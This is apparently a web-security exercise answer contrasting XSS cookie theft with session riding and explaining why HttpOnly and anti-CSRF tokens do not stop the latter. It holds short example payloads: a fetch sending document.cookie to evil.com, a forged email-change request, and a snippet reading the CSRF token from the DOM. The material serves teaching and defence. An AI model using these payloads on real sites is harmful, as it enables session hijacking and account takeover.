EXERCISE 1 — Cookie theft vs session riding
============================================

COOKIE THEFT:
  - The injected script READS the session cookie value and sends it to the
    attacker:  fetch('//evil.com/c?'+document.cookie)
  - The attacker then plants that cookie in their OWN browser and impersonates
    the victim from their own machine, separately, later.
  - Requires: the cookie to be READABLE by JavaScript (i.e. NOT HttpOnly).

SESSION RIDING:
  - The injected script does NOT read the cookie. It simply makes
    authenticated requests FROM THE VICTIM'S BROWSER:
        fetch('/account/email', {method:'POST', body:'email=attacker@evil.com'})
    The browser AUTOMATICALLY attaches the session cookie to that same-origin
    request (ambient authority), so it's fully authenticated. Being
    same-origin, the script can also READ the response.
  - The attacker acts as the user in real time, in the victim's session,
    without ever seeing the cookie value.

WHY SESSION RIDING WORKS DESPITE HttpOnly:
  - HttpOnly only stops JavaScript from READING the cookie (document.cookie
    won't contain it). It does NOT stop the browser from ATTACHING the cookie
    to outgoing requests -- that happens automatically regardless of HttpOnly.
  - So the script never needs to read the cookie: it issues requests and the
    browser supplies the credential for it. HttpOnly blocks cookie THEFT but
    not session RIDING. (This is why HttpOnly is a useful layer but not a fix.)

WHY IT BYPASSES ANTI-CSRF TOKENS:
  - Anti-CSRF tokens stop CROSS-SITE forgeries because a cross-site attacker
    can't READ the token from the page (Same-Origin Policy).
  - But the XSS script runs SAME-ORIGIN. It can read the token straight from
    the DOM (a hidden field, a meta tag, a JS variable, the XSRF cookie) and
    include it in its request:
        headers: { 'X-CSRF-Token': document.querySelector('[name=csrf]').value }
  - With the cookie auto-attached AND a valid token supplied, the server sees
    a perfectly legitimate request. The CSRF defence is bypassed entirely.

CONCLUSION:
  Cookie theft is the convenient option (and HttpOnly stops it); session
  riding is the robust option that survives HttpOnly AND defeats CSRF tokens.
  This is the concrete mechanism behind "XSS is strictly more powerful than
  CSRF -- fix XSS first."